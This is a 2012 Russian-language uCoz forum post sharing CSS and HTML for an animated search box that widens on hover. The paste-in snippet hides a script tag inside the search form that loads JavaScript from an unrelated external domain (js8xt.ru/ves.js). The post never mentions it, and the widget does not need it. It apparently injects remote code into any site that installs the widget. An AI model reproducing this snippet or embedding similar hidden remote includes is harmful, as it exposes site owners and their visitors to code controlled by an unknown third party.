• Страница 1 из 1
  • 1
Новый отличный поск по сайту
NomerOK
Дата: Вторник, 15.05.2012, 13:53 | Сообщение # 1
молчун
Группа: Пользователи
Пользователь №: 5962
Сообщений: 25
http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
1<style>   
2#wrap-search {   
3margin: 0 auto;   
4width: 100px;   
5-moz-transition: all .2s ease-out;   
6-webkit-transition: all .2s ease-out;   
7-o-transition: all .2s ease-out;   
8transition: all .2s ease-out;   
9text-indent: 0px;}   
10
11#wrap-search br { display: none; }   
12
13#wrap-search #search {   
14background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
15background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
16filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
17border-radius: 5px;   
18padding: 4px;   
19}   
20
21#wrap-search:hover { width:200px; }   
22
23.form-search {   
24background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
25background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
26filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
27border: 1px solid #747474;   
28border-radius: 3px;   
29box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
30height: 32px;   
31position: relative;   
32-moz-transition: all .2s ease-out;   
33-webkit-transition: all .2s ease-out;   
34-o-transition: all .2s ease-out;   
35transition: all .2s ease-out;   
36}   
37
38.form-search input[type='text'] {   
39background: none;   
40border: none;   
41color:#6E7074;   
42height: 34px;   
43line-height: 34px;   
44padding: 0 27px 0 6px;   
45font-family: Helvetica, Arial, sans-serif;   
46font-size: 13px;   
47text-shadow: 0 1px 0 #FFF;   
48}   
49
50#wrap-search:hover input[type='text'] { color:#597C84; }   
51
52#wrap-search:hover .form-search {   
53background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
54background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
55filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
56box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
57color: #25464D;   
58}   
59
60.form-search input[type='image'] {   
61height: 32px;   
62opacity: .5;   
63filter:alpha(opacity=50);   
64position: absolute;   
65right: 0px;   
66top: 0px;   
67width: 32px;   
68}   
69
70.form-search input[type='image']:hover {   
71opacity: 1;   
72filter:alpha(opacity=100);   
73}   
74
75</style>   
76
77<div id="wrap-search">   
78<div id="search">   
79<form class="form-search" method="get" action="/search" target="_blank">
80<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
81<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
82<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
83</form>   
84</div>   
85</div>


Алексей
  
  • Страница 1 из 1
  • 1
Поиск:
© Studioad.ru 2006 · 2010. Использование материалов форума на сторонних ресурсах без прямой обратной ссылки строго запрещено. Хостинг от uCoz.